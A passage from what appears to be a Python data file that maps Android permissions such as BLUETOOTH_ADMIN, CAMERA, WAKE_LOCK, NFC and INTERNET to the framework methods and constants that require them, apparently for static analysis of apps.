("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
"Landroid/content/MutableContextWrapper;": [
("F", "removeStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyBroadcast", "(Landroid/content/Intent;)"),
("F", "sendStickyOrderedBroadcast",
"(Landroid/content/Intent; Landroid/content/BroadcastReceiver; Landroid/os/Handler; I Ljava/lang/String; Landroid/os/Bundle;)"
),
],
},
"FORCE_STOP_PACKAGES": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "forceStopPackage", "(Ljava/lang/String;)"),
],
"Landroid/app/ActivityManagerNative;": [
("F", "forceStopPackage", "(Ljava/lang/String;)"),
],
"Landroid/app/ActivityManager;": [
("F", "forceStopPackage", "(Ljava/lang/String;)"),
],
},
"KILL_BACKGROUND_PROCESSES": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "killBackgroundProcesses", "(Ljava/lang/String;)"),
],
"Landroid/app/ActivityManager;": [
("F", "killBackgroundProcesses", "(Ljava/lang/String;)"),
],
},
"SET_TIME_ZONE": {
"Landroid/app/AlarmManager;": [
("F", "setTimeZone", "(Ljava/lang/String;)"),
("F", "setTimeZone", "(Ljava/lang/String;)"),
],
"Landroid/app/IAlarmManager$Stub$Proxy;": [
("F", "setTimeZone", "(Ljava/lang/String;)"),
],
},
"BLUETOOTH_ADMIN": {
"Landroid/server/BluetoothA2dpService;": [
("F", "connectSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "disconnectSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "resumeSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "setSinkPriority", "(Landroid/bluetooth/BluetoothDevice; I)"),
("F", "setSinkPriority", "(Landroid/bluetooth/BluetoothDevice; I)"),
("F", "suspendSink", "(Landroid/bluetooth/BluetoothDevice;)"),
],
"Landroid/bluetooth/BluetoothPbap;": [
("F", "disconnect", "()"),
],
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;": [
("F", "connectSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "disconnectSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "resumeSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "setSinkPriority", "(Landroid/bluetooth/BluetoothDevice; I)"),
("F", "suspendSink", "(Landroid/bluetooth/BluetoothDevice;)"),
],
"Landroid/bluetooth/BluetoothAdapter;": [
("F", "cancelDiscovery", "()"),
("F", "disable", "()"),
("F", "enable", "()"),
("F", "setName", "(Ljava/lang/String;)"),
("F", "startDiscovery", "()"),
("F", "cancelDiscovery", "()"),
("F", "disable", "()"),
("F", "enable", "()"),
("F", "setDiscoverableTimeout", "(I)"),
("F", "setName", "(Ljava/lang/String;)"),
("F", "startDiscovery", "()"),
],
"Landroid/server/BluetoothService;": [
("F", "cancelBondProcess", "(Ljava/lang/String;)"),
("F", "cancelDiscovery", "()"),
("F", "cancelPairingUserInput", "(Ljava/lang/String;)"),
("F", "createBond", "(Ljava/lang/String;)"),
("F", "disable", "()"),
("F", "disable", "(B)"),
("F", "enable", "()"),
("F", "enable", "(B)"),
("F", "removeBond", "(Ljava/lang/String;)"),
("F", "setDiscoverableTimeout", "(I)"),
("F", "setName", "(Ljava/lang/String;)"),
("F", "setPairingConfirmation", "(Ljava/lang/String; B)"),
("F", "setPasskey", "(Ljava/lang/String; I)"),
("F", "setPin", "(Ljava/lang/String; [L;)"),
("F", "setTrust", "(Ljava/lang/String; B)"),
("F", "startDiscovery", "()"),
],
"Landroid/bluetooth/BluetoothHeadset;": [
("F", "connectHeadset", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "disconnectHeadset", "()"),
("F", "setPriority", "(Landroid/bluetooth/BluetoothDevice; I)"),
],
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;": [
("F", "connectHeadset", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "disconnectHeadset", "()"),
("F", "setPriority", "(Landroid/bluetooth/BluetoothDevice; I)"),
],
"Landroid/bluetooth/BluetoothDevice;": [
("F", "cancelBondProcess", "()"),
("F", "cancelPairingUserInput", "()"),
("F", "createBond", "()"),
("F", "removeBond", "()"),
("F", "setPairingConfirmation", "(B)"),
("F", "setPasskey", "(I)"),
("F", "setPin", "([L;)"),
],
"Landroid/bluetooth/IBluetoothPbap$Stub$Proxy;": [
("F", "connect", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "disconnect", "()"),
],
"Landroid/bluetooth/BluetoothA2dp;": [
("F", "connectSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "disconnectSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "resumeSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "setSinkPriority", "(Landroid/bluetooth/BluetoothDevice; I)"),
("F", "suspendSink", "(Landroid/bluetooth/BluetoothDevice;)"),
],
"Landroid/bluetooth/IBluetooth$Stub$Proxy;": [
("F", "cancelBondProcess", "(Ljava/lang/String;)"),
("F", "cancelDiscovery", "()"),
("F", "cancelPairingUserInput", "(Ljava/lang/String;)"),
("F", "createBond", "(Ljava/lang/String;)"),
("F", "disable", "(B)"),
("F", "enable", "()"),
("F", "removeBond", "(Ljava/lang/String;)"),
("F", "setDiscoverableTimeout", "(I)"),
("F", "setName", "(Ljava/lang/String;)"),
("F", "setPairingConfirmation", "(Ljava/lang/String; B)"),
("F", "setPasskey", "(Ljava/lang/String; I)"),
("F", "setPin", "(Ljava/lang/String; [L;)"),
("F", "setTrust", "(Ljava/lang/String; B)"),
("F", "startDiscovery", "()"),
],
},
"INJECT_EVENTS": {
"Landroid/view/IWindowManager$Stub$Proxy;": [
("F", "injectKeyEvent", "(Landroid/view/KeyEvent; B)"),
("F", "injectPointerEvent", "(Landroid/view/MotionEvent; B)"),
("F", "injectTrackballEvent", "(Landroid/view/MotionEvent; B)"),
],
"Landroid/app/Instrumentation;": [
("F", "invokeContextMenuAction", "(Landroid/app/Activity; I I)"),
("F", "sendCharacterSync", "(I)"),
("F", "sendKeyDownUpSync", "(I)"),
("F", "sendKeySync", "(Landroid/view/KeyEvent;)"),
("F", "sendPointerSync", "(Landroid/view/MotionEvent;)"),
("F", "sendStringSync", "(Ljava/lang/String;)"),
("F", "sendTrackballEventSync", "(Landroid/view/MotionEvent;)"),
],
},
"CAMERA": {
"Landroid/hardware/Camera/ErrorCallback;": [
("F", "onError", "(I Landroid/hardware/Camera;)"),
],
"Landroid/media/MediaRecorder;": [
("F", "setVideoSource", "(I)"),
],
"Landroid/view/KeyEvent;": [
("C", "KEYCODE_CAMERA", "I"),
],
"Landroid/bluetooth/BluetoothClass/Device;": [
("C", "AUDIO_VIDEO_VIDEO_CAMERA", "I"),
],
"Landroid/provider/MediaStore;": [
("C", "INTENT_ACTION_STILL_IMAGE_CAMERA", "Ljava/lang/String;"),
("C", "INTENT_ACTION_VIDEO_CAMERA", "Ljava/lang/String;"),
],
"Landroid/hardware/Camera/CameraInfo;": [
("C", "CAMERA_FACING_BACK", "I"),
("C", "CAMERA_FACING_FRONT", "I"),
("C", "facing", "I"),
],
"Landroid/provider/ContactsContract/StatusColumns;": [
("C", "CAPABILITY_HAS_CAMERA", "I"),
],
"Landroid/hardware/Camera/Parameters;": [
("F", "setRotation", "(I)"),
],
"Landroid/media/MediaRecorder/VideoSource;": [
("C", "CAMERA", "I"),
],
"Landroid/content/Intent;": [
("C", "IntentResolution", "Ljava/lang/String;"),
("C", "ACTION_CAMERA_BUTTON", "Ljava/lang/String;"),
],
"Landroid/content/pm/PackageManager;": [
("C", "FEATURE_CAMERA", "Ljava/lang/String;"),
("C", "FEATURE_CAMERA_AUTOFOCUS", "Ljava/lang/String;"),
("C", "FEATURE_CAMERA_FLASH", "Ljava/lang/String;"),
("C", "FEATURE_CAMERA_FRONT", "Ljava/lang/String;"),
],
"Landroid/hardware/Camera;": [
("C", "CAMERA_ERROR_SERVER_DIED", "I"),
("C", "CAMERA_ERROR_UNKNOWN", "I"),
("F", "setDisplayOrientation", "(I)"),
("F", "native_setup", "(Ljava/lang/Object;)"),
("F", "open", "()"),
],
},
"SET_WALLPAPER": {
"Landroid/app/Activity;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/ExpandableListActivity;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/accessibilityservice/AccessibilityService;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/accounts/GrantCredentialsPermissionActivity;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/backup/BackupAgent;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/service/wallpaper/WallpaperService;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/backup/BackupAgentHelper;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/accounts/AccountAuthenticatorActivity;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/IWallpaperManager$Stub$Proxy;": [
("F", "setWallpaper", "(Ljava/lang/String;)"),
],
"Landroid/app/ActivityGroup;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/content/ContextWrapper;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/WallpaperManager;": [
("F", "setBitmap", "(Landroid/graphics/Bitmap;)"),
("F", "clear", "()"),
("F", "setBitmap", "(Landroid/graphics/Bitmap;)"),
("F", "setResource", "(I)"),
("F", "setStream", "(Ljava/io/InputStream;)"),
],
"Landroid/app/ContextImpl;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/AliasActivity;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/content/Context;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/service/urlrenderer/UrlRendererService;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/FullBackupAgent;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/TabActivity;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/view/ContextThemeWrapper;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/speech/RecognitionService;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/IntentService;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/inputmethodservice/AbstractInputMethodService;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/Application;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/ListActivity;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/app/Service;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
"Landroid/content/MutableContextWrapper;": [
("F", "clearWallpaper", "()"),
("F", "setWallpaper", "(Landroid/graphics/Bitmap;)"),
("F", "setWallpaper", "(Ljava/io/InputStream;)"),
],
},
"WAKE_LOCK": {
"Landroid/net/wifi/IWifiManager$Stub$Proxy;": [
("F", "acquireWifiLock",
"(Landroid/os/IBinder; I Ljava/lang/String;)"),
("F", "releaseWifiLock", "(Landroid/os/IBinder;)"),
],
"Landroid/bluetooth/HeadsetBase;": [
("F", "acquireWakeLock", "()"),
("F", "finalize", "()"),
("F", "handleInput", "(Ljava/lang/String;)"),
("F", "releaseWakeLock", "()"),
],
"Landroid/os/PowerManager$WakeLock;": [
("F", "acquire", "()"),
("F", "acquire", "(J)"),
("F", "release", "()"),
("F", "release", "(I)"),
],
"Landroid/media/MediaPlayer;": [
("F", "setWakeMode", "(Landroid/content/Context; I)"),
("F", "start", "()"),
("F", "stayAwake", "(B)"),
("F", "stop", "()"),
],
"Landroid/bluetooth/ScoSocket;": [
("F", "acquireWakeLock", "()"),
("F", "close", "()"),
("F", "finalize", "()"),
("F", "releaseWakeLock", "()"),
("F", "releaseWakeLockNow", "()"),
],
"Landroid/media/AsyncPlayer;": [
("F", "acquireWakeLock", "()"),
("F", "enqueueLocked", "(Landroid/media/AsyncPlayer$Command;)"),
("F", "play", "(Landroid/content/Context; Landroid/net/Uri; B I)"),
("F", "releaseWakeLock", "()"),
("F", "stop", "()"),
],
"Landroid/net/wifi/WifiManager$WifiLock;": [
("F", "acquire", "()"),
("F", "finalize", "()"),
("F", "release", "()"),
],
"Landroid/os/IPowerManager$Stub$Proxy;": [
("F", "acquireWakeLock",
"(I Landroid/os/IBinder; Ljava/lang/String;)"),
("F", "releaseWakeLock", "(Landroid/os/IBinder; I)"),
],
"Landroid/net/sip/SipAudioCall;": [
("F", "startAudio", "()"),
],
"Landroid/os/PowerManager;": [
("C", "ACQUIRE_CAUSES_WAKEUP", "I"),
("C", "FULL_WAKE_LOCK", "I"),
("C", "ON_AFTER_RELEASE", "I"),
("C", "PARTIAL_WAKE_LOCK", "I"),
("C", "SCREEN_BRIGHT_WAKE_LOCK", "I"),
("C", "SCREEN_DIM_WAKE_LOCK", "I"),
("F", "newWakeLock", "(I Ljava/lang/String;)"),
],
},
"MANAGE_ACCOUNTS": {
"Landroid/accounts/AccountManager;": [
("F", "addAccount",
"(Ljava/lang/String; Ljava/lang/String; [Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)"
),
("F", "clearPassword", "(Landroid/accounts/Account;)"),
("F", "confirmCredentials",
"(Landroid/accounts/Account; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)"
),
("F", "editProperties",
"(Ljava/lang/String; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)"
),
("F", "getAuthTokenByFeatures",
"(Ljava/lang/String; Ljava/lang/String; [Ljava/lang/String; Landroid/app/Activity; Landroid/os/Bundle; Landroid/os/Bundle; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)"
),
("F", "invalidateAuthToken",
"(Ljava/lang/String; Ljava/lang/String;)"),
("F", "removeAccount",
"(Landroid/accounts/Account; Landroid/accounts/AccountManagerCallback<java/lang/Boolean>; Landroid/os/Handler;)"
),
("F", "updateCredentials",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback<android/os/Bundle>; Landroid/os/Handler;)"
),
("F", "addAccount",
"(Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
("F", "clearPassword", "(Landroid/accounts/Account;)"),
("F", "confirmCredentials",
"(Landroid/accounts/Account; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
("F", "editProperties",
"(Ljava/lang/String; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
("F", "invalidateAuthToken",
"(Ljava/lang/String; Ljava/lang/String;)"),
("F", "removeAccount",
"(Landroid/accounts/Account; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
("F", "updateCredentials",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; Landroid/app/Activity; Landroid/accounts/AccountManagerCallback; Landroid/os/Handler;)"
),
],
"Landroid/accounts/AccountManagerService;": [
("F", "addAcount",
"(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; B Landroid/os/Bundle;)"
),
("F", "checkManageAccountsOrUseCredentialsPermissions", "()"),
("F", "checkManageAccountsPermission", "()"),
("F", "clearPassword", "(Landroid/accounts/Account;)"),
("F", "confirmCredentials",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Landroid/os/Bundle; B)"
),
("F", "editProperties",
"(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; B)"
),
("F", "invalidateAuthToken",
"(Ljava/lang/String; Ljava/lang/String;)"),
("F", "removeAccount",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account;)"
),
("F", "updateCredentials",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Ljava/lang/String; B Landroid/os/Bundle;)"
),
],
"Landroid/accounts/IAccountManager$Stub$Proxy;": [
("F", "addAcount",
"(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; B Landroid/os/Bundle;)"
),
("F", "clearPassword", "(Landroid/accounts/Account;)"),
("F", "confirmCredentials",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Landroid/os/Bundle; B)"
),
("F", "editProperties",
"(Landroid/accounts/IAccountManagerResponse; Ljava/lang/String; B)"
),
("F", "invalidateAuthToken",
"(Ljava/lang/String; Ljava/lang/String;)"),
("F", "removeAccount",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account;)"
),
("F", "updateCredentials",
"(Landroid/accounts/IAccountManagerResponse; Landroid/accounts/Account; Ljava/lang/String; B Landroid/os/Bundle;)"
),
],
},
"WRITE_CALENDAR": {
"Landroid/provider/Calendar$CalendarAlerts;": [
("F", "insert", "(Landroid/content/ContentResolver; J J J J I)"),
],
"Landroid/provider/Calendar$Calendars;": [
("F", "delete",
"(Landroid/content/ContentResolver; Ljava/lang/String; [L[Ljava/lang/Strin;)"
),
("F", "deleteCalendarsForAccount",
"(Landroid/content/ContentResolver; Landroid/accounts/Account;)"),
],
},
"BIND_APPWIDGET": {
"Landroid/appwidget/AppWidgetManager;": [
("F", "bindAppWidgetId", "(I Landroid/content/ComponentName;)"),
],
"Lcom/android/internal/appwidget/IAppWidgetService$Stub$Proxy;": [
("F", "bindAppWidgetId", "(I LComponentName;)"),
],
},
"ASEC_MOUNT_UNMOUNT": {
"Landroid/os/storage/IMountService$Stub$Proxy;": [
("F", "mountSecureContainer",
"(Ljava/lang/String; Ljava/lang/String; I)"),
("F", "unmountSecureContainer", "(Ljava/lang/String; B)"),
],
},
"SET_PREFERRED_APPLICATIONS": {
"Landroid/app/ContextImpl$ApplicationPackageManager;": [
("F", "addPreferredActivity",
"(LIntentFilter; I [LComponentName; LComponentName;)"),
("F", "clearPackagePreferredActivities", "(Ljava/lang/String;)"),
("F", "replacePreferredActivity",
"(LIntentFilter; I [LComponentName; LComponentName;)"),
("F", "addPreferredActivity",
"(Landroid/content/IntentFilter; I [Landroid/content/ComponentName; Landroid/content/ComponentName;)"
),
("F", "clearPackagePreferredActivities", "(Ljava/lang/String;)"),
("F", "replacePreferredActivity",
"(Landroid/content/IntentFilter; I [Landroid/content/ComponentName; Landroid/content/ComponentName;)"
),
],
"Landroid/content/pm/PackageManager;": [
("F", "addPreferredActivity",
"(Landroid/content/IntentFilter; I [Landroid/content/ComponentName; Landroid/content/ComponentName;)"
),
("F", "clearPackagePreferredActivities", "(Ljava/lang/String;)"),
("F", "replacePreferredActivity",
"(Landroid/content/IntentFilter; I [Landroid/content/ComponentName; Landroid/content/ComponentName;)"
),
],
"Landroid/content/pm/IPackageManager$Stub$Proxy;": [
("F", "addPreferredActivity",
"(Landroid/content/IntentFilter; I [L[Landroid/content/ComponentNam; Landroid/content/ComponentName;)"
),
("F", "clearPackagePreferredActivities", "(Ljava/lang/String;)"),
("F", "replacePreferredActivity",
"(Landroid/content/IntentFilter; I [L[Landroid/content/ComponentNam; Landroid/content/ComponentName;)"
),
],
},
"NFC": {
"Landroid/inputmethodservice/InputMethodService;": [
("C", "SoftInputView", "I"),
("C", "CandidatesView", "I"),
("C", "FullscreenMode", "I"),
("C", "GeneratingText", "I"),
],
"Landroid/nfc/tech/NfcA;": [
("F", "close", "()"),
("F", "connect", "()"),
("F", "get", "(Landroid/nfc/Tag;)"),
("F", "transceive", "([B)"),
],
"Landroid/nfc/tech/NfcB;": [
("F", "close", "()"),
("F", "connect", "()"),
("F", "get", "(Landroid/nfc/Tag;)"),
("F", "transceive", "([B)"),
],
"Landroid/nfc/NfcAdapter;": [
("C", "ACTION_TECH_DISCOVERED", "Ljava/lang/String;"),
("F", "disableForegroundDispatch", "(Landroid/app/Activity;)"),
("F", "disableForegroundNdefPush", "(Landroid/app/Activity;)"),
("F", "enableForegroundDispatch",
"(Landroid/app/Activity; Landroid/app/PendingIntent; [Landroid/content/IntentFilter; [[Ljava/lang/String[];)"
),
("F", "enableForegroundNdefPush",
"(Landroid/app/Activity; Landroid/nfc/NdefMessage;)"),
("F", "getDefaultAdapter", "()"),
("F", "getDefaultAdapter", "(Landroid/content/Context;)"),
("F", "isEnabled", "()"),
],
"Landroid/nfc/tech/NfcF;": [
("F", "close", "()"),
("F", "connect", "()"),
("F", "get", "(Landroid/nfc/Tag;)"),
("F", "transceive", "([B)"),
],
"Landroid/nfc/tech/NdefFormatable;": [
("F", "close", "()"),
("F", "connect", "()"),
("F", "format", "(Landroid/nfc/NdefMessage;)"),
("F", "formatReadOnly", "(Landroid/nfc/NdefMessage;)"),
],
"Landroid/app/Activity;": [
("C", "Fragments", "I"),
("C", "ActivityLifecycle", "I"),
("C", "ConfigurationChanges", "I"),
("C", "StartingActivities", "I"),
("C", "SavingPersistentState", "I"),
("C", "Permissions", "I"),
("C", "ProcessLifecycle", "I"),
],
"Landroid/nfc/tech/MifareClassic;": [
("C", "KEY_NFC_FORUM", "[B"),
("F", "authenticateSectorWithKeyA", "(I [B)"),
("F", "authenticateSectorWithKeyB", "(I [B)"),
("F", "close", "()"),
("F", "connect", "()"),
("F", "decrement", "(I I)"),
("F", "increment", "(I I)"),
("F", "readBlock", "(I)"),
("F", "restore", "(I)"),
("F", "transceive", "([B)"),
("F", "transfer", "(I)"),
("F", "writeBlock", "(I [B)"),
],
"Landroid/nfc/Tag;": [
("F", "getTechList", "()"),
],
"Landroid/app/Service;": [
("C", "WhatIsAService", "I"),
("C", "ServiceLifecycle", "I"),
("C", "Permissions", "I"),
("C", "ProcessLifecycle", "I"),
("C", "LocalServiceSample", "I"),
("C", "RemoteMessengerServiceSample", "I"),
],
"Landroid/nfc/NfcManager;": [
("F", "getDefaultAdapter", "()"),
],
"Landroid/nfc/tech/MifareUltralight;": [
("F", "close", "()"),
("F", "connect", "()"),
("F", "readPages", "(I)"),
("F", "transceive", "([B)"),
("F", "writePage", "(I [B)"),
],
"Landroid/nfc/tech/NfcV;": [
("F", "close", "()"),
("F", "connect", "()"),
("F", "get", "(Landroid/nfc/Tag;)"),
("F", "transceive", "([B)"),
],
"Landroid/nfc/tech/TagTechnology;": [
("F", "close", "()"),
("F", "connect", "()"),
],
"Landroid/preference/PreferenceActivity;": [
("C", "SampleCode", "Ljava/lang/String;"),
],
"Landroid/content/pm/PackageManager;": [
("C", "FEATURE_NFC", "Ljava/lang/String;"),
],
"Landroid/content/Context;": [
("C", "NFC_SERVICE", "Ljava/lang/String;"),
],
"Landroid/nfc/tech/Ndef;": [
("C", "NFC_FORUM_TYPE_1", "Ljava/lang/String;"),
("C", "NFC_FORUM_TYPE_2", "Ljava/lang/String;"),
("C", "NFC_FORUM_TYPE_3", "Ljava/lang/String;"),
("C", "NFC_FORUM_TYPE_4", "Ljava/lang/String;"),
("F", "close", "()"),
("F", "connect", "()"),
("F", "getType", "()"),
("F", "isWritable", "()"),
("F", "makeReadOnly", "()"),
("F", "writeNdefMessage", "(Landroid/nfc/NdefMessage;)"),
],
"Landroid/nfc/tech/IsoDep;": [
("F", "close", "()"),
("F", "connect", "()"),
("F", "setTimeout", "(I)"),
("F", "transceive", "([B)"),
],
},
"CALL_PHONE": {
"Lcom/android/internal/telephony/ITelephony$Stub$Proxy;": [
("F", "call", "(Ljava/lang/String;)"),
("F", "endCall", "()"),
],
},
"INTERNET": {
"Lcom/android/http/multipart/FilePart;": [
("F", "sendData", "(Ljava/io/OutputStream;)"),
("F", "sendDispositionHeader", "(Ljava/io/OutputStream;)"),
],
"Ljava/net/HttpURLConnection;": [
("F", "<init>", "(Ljava/net/URL;)"),
("F", "connect", "()"),
],
"Landroid/webkit/WebSettings;": [
("F", "setBlockNetworkLoads", "(B)"),
("F", "verifyNetworkAccess", "()"),
],
"Lorg/apache/http/impl/client/DefaultHttpClient;": [
("F", "<init>", "()"),
("F", "<init>", "(Lorg/apache/http/params/HttpParams;)"),
("F", "<init>",
"(Lorg/apache/http/conn/ClientConnectionManager; Lorg/apache/http/params/HttpParams;)"
),
("F", "execute", "(Lorg/apache/http/client/methods/HttpUriRequest;)"
),
("F", "execute",
"(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler; Lorg/apache/http/protocol/HttpContext;)"
),
("F", "execute",
"(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler; Lorg/apache/http/protocol/HttpContext;)"
),
("F", "execute",
"(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/protocol/HttpContext;)"
),
("F", "execute",
"(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler;)"
),
("F", "execute",
"(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler;)"
),
("F", "execute",
"(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest;)"
),
("F", "execute",
"(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/protocol/HttpContext;)"
),
],
"Lorg/apache/http/impl/client/HttpClient;": [
("F", "execute", "(Lorg/apache/http/client/methods/HttpUriRequest;)"
),
("F", "execute",
"(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler; Lorg/apache/http/protocol/HttpContext;)"
),
("F", "execute",
"(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler; Lorg/apache/http/protocol/HttpContext;)"
),
("F", "execute",
"(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/protocol/HttpContext;)"
),
("F", "execute",
"(Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler;)"
),
("F", "execute",
"(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/client/ResponseHandler;)"
),
("F", "execute",
"(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest;)"
),
("F", "execute",
"(Lorg/apache/http/HttpHost; Lorg/apache/http/client/methods/HttpUriRequest; Lorg/apache/http/protocol/HttpContext;)"
),
],
"Lcom/android/http/multipart/Part;": [
("F", "send", "(Ljava/io/OutputStream;)"),
("F", "sendParts",
"(Ljava/io/OutputStream; [Lcom/android/http/multipart/Part;)"),
("F", "sendParts",
"(Ljava/io/OutputStream; [Lcom/android/http/multipart/Part; [B)"),
("F", "sendStart", "(Ljava/io/OutputStream;)"),
("F", "sendTransferEncodingHeader", "(Ljava/io/OutputStream;)"),
],
"Landroid/drm/DrmErrorEvent;": [
("C", "TYPE_NO_INTERNET_CONNECTION", "I"),
],
"Landroid/webkit/WebViewCore;": [
("F", "<init>",
